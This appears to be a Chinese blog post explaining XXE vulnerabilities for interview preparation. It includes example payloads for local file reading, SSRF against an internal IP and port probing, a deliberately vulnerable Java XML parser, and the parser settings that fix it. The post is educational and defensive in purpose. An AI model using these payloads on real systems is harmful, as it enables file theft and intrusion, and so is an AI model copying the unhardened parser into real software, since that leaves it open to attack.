面试题更新:详细解释 XXE 漏洞如何实现读取文件
本文最后更新于 44 天前,其中的信息可能已经有所发展或是发生改变。

题目来源:deman

感谢 deman 童鞋为大家提供的面试题。我先来抛砖引玉,提供一些自己的见解,欢迎积极讨论,一起打造最全的知识题库

XML 是什么玩意?

首先,HTML 应该都很熟悉吧?

<html>
    <head></head>
    <body>
        <h1>Title</h1>
    </body>
</html>

而 XML 与 HTML 一样,都是 ML(Make Love Markup Language,标记语言)。
不同的是,HTML 是超文本 ML,它的标签都是预定义的,例如 a、 body、 p、 img 等等; 而 XML 是可扩展 ML, 它的标签是没有预定义的,可以根据自己的需求来自行定义。

XML 的基本玩儿法

XML 之所以如此设计,是由于 XML 的初衷是为了存储数据,就像一个小型的数据库一样。

<user>
    <username>张三</username>
    <age>18</age>
</user>
<user>
    <username>李四</username>
    <age>22</age>
</user>

类似于 user、 username、 age 这些标签,都是自定义的,如果需要存储其他数据,也可以根据需求定义譬如 address、 sex 之类的标签。

XML 除了可以自定义标签之外,也预留了一些和 HTML 类似的预定义的方法,在 XML 中,它被称作实体(ENTITY)

ENTITY 在 XML 中的用法,就类似于 JS 或者 JAVA 等语言中的定义变量。

比如:

<!ENTITY address "Beijing.China">

就相当于定义一个名为 address 的 ENTITY, 它的值是 Beijing.China

在 XML 中,使用这个变量的语法如这样 &address;

一个完整定义 ENTITY 并使用的 XML 文件,就像这样(其中 <!-- xxx --> 为注释)

<!-- XML 文件的声明,指定这个文件是 UTF-8 编码的 xml 1.0 版本文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!-- 文档类型定义。也叫 DTD。定义一个名为 body 的类型 -->
<!DOCTYPE body [
  <!-- 定义一个名为 address 的变量,值为 Beijing.China -->
  <!ENTITY address "Beijing.China">
]>
<body>
  <!-- 使用 address 变量 -->
  <message> &address; </message>
</body>

说到这里,不得不补充一下,了解 HTML 的应该对这几个东西不陌生吧?
&lt;
&gt;
&quot;
&nbsp;
眼熟不?

在 HTML 中,分别代表小于号、大于号、双引号、空格。

在 XML 中,其实也一样,但是,有没有觉得,和上面使用咱们自定义的 address 变量的写法 &address; 有点相似?

没错,其实我们熟知的譬如 &lt;&gt;&nbsp; 这些写法,就是通过 ENTITY 实体定义的,只不过这些是预定义(HTML 或者 XML 提前定义好的),而 address 是我们自己定义的。

XML 的进阶玩儿法

既然可以定义如上单独的属性,那么同样的,它也可以定义类似于 Java 的实体类形式的 ENTITY。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE user [
<!ELEMENT user (username,age,address)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
]>
<user>
    <username>张三</username>
    <age>18</age>
    <address>Beijing.China</address>
</user>
<user>
    <username>李四</username>
    <age>22</age>
    <address>Shenzhen.China</address>
</user>

有了如上的 DTD(文档类型定义),在 XML 中的标签,就需要按照定义的规则,比如 user 标签中,就只能包含 username、age、address,如果将 people 误写为 poeple 之类,就会报错提醒。

但是,如果实例特别多的情况下呢?如此定义,岂不是很繁琐

不由的又想到 Java 等编程语言,Java 可以单独的定义一个 .java 文件作为 entity,然后使用 import 语句导入。

XML 语言,实际上也可以有类似的操作,那就是将 DTD 定义文件单独定义成一个 .dtd 文件,然后使用 SYSTEM 或者 PUBLIC 关键字导入使用

譬如定义一个 user.dtd

<!ELEMENT user (username, age, address)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>

再定义一个 xml 文件,引入 user.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user SYSTEM "user.dtd">
<user>
    <username>张三</username>
    <age>18</age>
    <address>Beijing.China</address>
</user>

这一步,就是本文的重头戏 —— XML 外部实体引入,也就是 XXE 漏洞产生的核心。

随口提一下,这个 SYSTEM 和 PUBLIC 的区别,这个不是本文的重点,就不详细解释了。

SYSTEM 和 PUBLIC 都是引入外部实体的,不同点在于,SYSTEM 引入的是专用的、本地的、或者自己定义的 DTD;而 PUBLIC 引入的是公开的、标准的 DTD。可以理解为有写公开的 DTD 是公开在网络仓库上,还有固定的 ID 的。

比如 mybatis 的 mapper 文件就长这样。这个 -//mybatis.org//DTD Config 3.0//EN 实际上就可以理解为是 mybatis-3-config.dtd 的 ID




言归正传,XXE 漏洞其实就是由于 XML 解析器在解析 XML 文档时,没有对 XML 内容进行校验。

而 SYSTEM 和 PUBLIC 引入的目标是支持很多协议的,如 http://、https://、ftp://、file://、gopher://、data://、ldap:// 等等

所以,就有了包括但不限于如下这几种 XXE 攻击行为:

危害一: 任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<note>
  <body>&xxe;</body>
</note>

危害二: 服务端请求伪造(SSRF)访问其他内部服务器资源

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "http://192.168.0.1:8080/getinfo">
]>
<note>
  <body>&xxe;</body>
</note>

危害三: 拒绝服务攻击(DDOS)

<?xml version="1.0" encoding="UTF-8"?>
<!-- 引入超大的 dtd 文件或其他文件 -->
<!DOCTYPE user SYSTEM "verybig.dtd">
<user>
    <username>张三</username>
    <age>18</age>
    <address>Beijing.China</address>
</user>

危害四: 服务器端口探测

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "gopher://hostname:port">
]>
<note>
  <body>&xxe;</body>
</note>

经常会有人提问,如果没有譬如 &xxe; 这样的回显,如何确定 XXE 漏洞是否存在?
其实很简单,借用 DNSLog 回显技术,检测回显内容即可,如果 DNS 解析日志成功监测到来自目标系统的查询,那就说明 XML 被成功解析,即存在 XXE 漏洞。

以 Java 的 javax.xml.parsers 为例(Java 也有很多 XML 解析工具类)。

到这里,XXE 漏洞的利用和产生的原理已经基本清楚了。
接下来,简单的了解一下 XML的解析和 XXE 漏洞的修复

漏洞复现

Java 代码(注释后面再说):

import org.springframework.web.bind.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

import javax.xml.parsers.*;
import java.io.StringReader;

@RestController
@RequestMapping("/demo")
public class DemoController {
    @PostMapping("/xml")
    public String parseXML(@RequestBody String xmlData) {
        try {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
//            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Disable DTDs
//            factory.setFeature("http://xml.org/sax/features/external-general-entities", false); // Disable external entities
//            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // Disable external entities
//            factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // Disable external DTDs
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document document = builder.parse(new InputSource(new StringReader(xmlData)));

            NodeList nodes = document.getElementsByTagName("note");
            String body = nodes.item(0).getTextContent();
            return "XML processed successfully" + body;
        } catch (Exception e ){
            return "Error processing XML" + e.getMessage();
        }
    }
}

漏洞复现
Postman

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>

<note>
  <body>&xxe;</body>
</note>

file

分析一下 XML 解析的核心过程(只带个思路,因篇幅原因,不详细展开了)

进入 DOMParser.java 可以看到 parse 方法内,XMLInputSource 的构造方法直接从 inputSource 中获取了 publicId、systemId 等

file

继续往下跟 parse 方法,可以看到最终是调用了 fScanner.setInputSource 方法
file

然后调用了 fEntityManager.startEntity
file

继续跟进
file

到这里,可以看到,这个方法是对传入的 SYSTEMID 保留了一次有效性校验的,但是是否进行有效性校验,取决于 fStrictURI 这个开关
file

点进去可以看到确实如此,如果 strict 为 true,则说明参数是个被认可的有效 URI
file

退回来看一下这个 fStrictURI 是如何定义的?
可以看到,它默认是 false,可以通过 STANDARD_URI_CONFORMANT 常量来进行配置,和它一起的,还有很多类似的配置
file

根据这些配置,可以选择 disable dtd 和 entities
也就是最上面注释掉的几个配置项

解开注释,重新尝试 postman 发送请求,这样,XXE 就成功被拦截了

file

学海无涯,回头是岸。 --- hola

评论

  1. 太细了
    Windows Firefox 136.0
    1 月前
    2025-3-18 15:09:56

    太牛逼了大佬,真细

    • hola
      博主
      太细了
      Windows Chrome 133.0.0.0
      1 月前
      2025-3-18 17:17:31

      感谢,非常高兴能帮到你

  2. deman
    Android Chrome 122.0.6261.119
    1 年前
    2024-4-09 21:21:28

    赞👍🏻

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇